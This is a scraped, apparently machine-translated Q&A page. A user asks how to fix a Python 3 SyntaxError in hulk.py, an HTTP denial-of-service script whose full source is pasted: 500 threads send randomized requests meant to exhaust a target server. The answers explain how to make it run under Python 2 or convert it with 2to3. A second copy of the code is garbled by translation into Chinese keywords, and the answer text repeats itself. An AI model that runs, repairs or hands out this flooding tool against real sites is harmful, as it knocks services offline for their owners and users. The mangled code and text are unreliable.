Python 如何解决hulk.py中的语法错误?
我正在本地服务器上运行hulk.py脚本。我无法成功执行此脚本 我已从url下载了hulk.py:“ 我采取了以下步骤:Python 如何解决hulk.py中的语法错误?,python,python-2.7,load-testing,Python,Python 2.7,Load Testing,我正在本地服务器上运行hulk.py脚本。我无法成功执行此脚本 我已从url下载了hulk.py:“ 我采取了以下步骤: 在桌面上提取下载的文件 在命令提示符下,我已导航到此提取的文件夹 运行命令“hulk.py https://” 显示以下错误: File "C:\Users\Abhishek Asopa\Desktop\hulk-master\hulk-master\hulk.py", line 72 print '--------------------------------------
File "C:\Users\Abhishek Asopa\Desktop\hulk-master\hulk-master\hulk.py", line 72
print '---------------------------------------------------'
^
SyntaxError: Missing parentheses in call to 'print'
下面是hulk.py的代码:
# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author : Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re
#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0
def inc_counter():
global request_counter
request_counter+=1
def set_flag(val):
global flag
flag=val
def set_safe():
global safe
safe=1
# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en- US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en- US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en- US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)
#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
def usage():
print '---------------------------------------------------'
print 'USAGE: python hulk.py <url>'
print 'you can add "safe" after url, to autoshut after dos'
print '---------------------------------------------------'
#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print 'Response Code 500'
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)
#http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass
# monitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
print "%d Requests Sent" % (request_counter)
previous=request_counter
if flag==2:
print "\n-- HULK Attack
#execute
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "-- HULK Attack Started --"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
#----------------------------------------------------------------------------------------------
#绿巨人-HTTP无法承受的负载王
#
#此工具是一个dos工具,用于在HTTP服务器上加载大量负载,以使其正常工作
#由于耗尽了资源库,这项研究仅用于研究目的
#禁止恶意使用此工具。
#
#作者:Barry Shteiman,版本1.0
# ----------------------------------------------------------------------------------------------
导入urllib2
导入系统
导入线程
随机输入
进口稀土
#全局参数
url=“”
主机=“”
headers\u useragents=[]
标题\u referers=[]
请求\u计数器=0
标志=0
安全=0
def inc_计数器():
全局请求计数器
请求计数器+=1
def set_标志(val):
全球旗帜
flag=val
def set_safe():
全球安全
安全=1
#生成一个用户代理数组
def useragent_list():
全局头和用户代理
headers_useragents.append('Mozilla/5.0(X11;U;Linux x86_64;en-US;rv:1.9.1.3)Gecko/20090913 Firefox/3.5.3')
头文件\U useragents.append('Mozilla/5.0(Windows;U;Windows NT 6.1;en;rv:1.9.1.3)Gecko/20090824 Firefox/3.5.3(.NET CLR 3.5.30729)'))
headers\U useragents.append('Mozilla/5.0(Windows;U;Windows NT 5.2;en-US;rv:1.9.1.3)Gecko/20090824 Firefox/3.5.3(.NET CLR 3.5.30729)'))
headers_useragents.append('Mozilla/5.0(Windows;U;Windows NT 6.1;en-US;rv:1.9.1.1)Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0(Windows;U;Windows NT 5.1;en-US)AppleWebKit/532.1(KHTML,如Gecko)Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 6.1;WOW64;Trident/4.0;SLCC2;.NET CLR 2.0.50727;InfoPath.2)'
headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 6.0;Trident/4.0;SLCC1;.NET CLR 2.0.50727;.NET CLR 1.1.4322;.NET CLR 3.5.30729;.NET CLR 3.0.30729'))
headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 5.2;Win64;x64;Trident/4.0)'
headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 5.1;Trident/4.0;SV1;.NET CLR 2.0.50727;InfoPath.2)'
headers_useragents.append('Mozilla/5.0(Windows;U;MSIE 7.0;Windows NT 6.0;en US'))
headers_useragents.append('Mozilla/4.0(兼容;MSIE 6.1;Windows XP)'
headers_useragents.append('Opera/9.80(WindowsNT5.2;U;ru)Presto/2.5.22版本/10.51')
返回(标题和用户代理)
#生成一个referer数组
def referer_list():
全局头文件
标题\u referers.append('http://www.google.com/?q=')
标题\u referers.append('http://www.usatoday.com/search/results?q=')
标题\u referers.append('http://engadget.search.aol.com/search?q=')
headers\u referers.append('http://'+host+'/'))
返回(标题和引用)
#构建随机ascii字符串
def构建块(大小):
out_str=“”
对于范围内的i(0,大小):
a=random.randint(65,90)
out_str+=chr(a)
返回(out_str)
def用法():
打印“--------------------------------------------------------------”
打印“用法:python-hulk.py”
打印“您可以在url后添加“安全”,在dos后自动关机”
打印“--------------------------------------------------------------”
#http请求
def httpcall(url):
用户代理列表()
参考列表()
代码=0
如果url.count(“?”)大于0:
param_joiner=“&”
其他:
param_joiner=“?”
request=urlib2.request(url+param_joiner+buildblock(random.randint(3,10))+'='+buildblock(random.randint(3,10)))
request.add_header('User-Agent',random.choice(headers_-useragents))
请求。添加_头('Cache-Control','no-Cache')
请求。添加标题('Accept-Charset','ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer',random.choice(headers_referers)+构建块(random.randint(5,10)))
request.add_头('Keep-Alive',random.randint(110120))
请求。添加_头('连接','保持活动')
请求。添加_头('Host',Host)
尝试:
urllib2.urlopen(请求)
除urllib2.HTTPError外,e:
#打印电子代码
设置_标志(1)
打印“响应代码500”
代码=500
除urllib2.URLError外,e:
#打印e.reason
sys.exit()
其他:
有限公司
urllib2.urlopen(请求)
返回(代码)
#http调用线程
HTTPThread类(threading.Thread):
def运行(自):
尝试:
当flag您使用的是Python3,此工具用于Python2时,您使用的是Python3,此工具用于Python2时,您使用的是Python3,此工具用于Python2,此工具用于Python2。听起来您试图使用Python3运行脚本,它将打印视为一个函数需要在字符串周围加括号。我会
尝试使用Python2运行它
修改print语句以包含括号,可能还有其他问题,但您可以看到错误是否移动
如果是Python 2/3问题,请尝试在hulk.py源代码上运行2to3
听起来您正试图使用Python3运行该脚本,Python3将print视为一个需要在字符串周围加括号的函数。我会
尝试使用Python2运行它
修改print语句以包含括号,可能还有其他问题,但您可以看到错误是否移动
如果是Python 2/3问题,请尝试在hulk.py源代码上运行2to3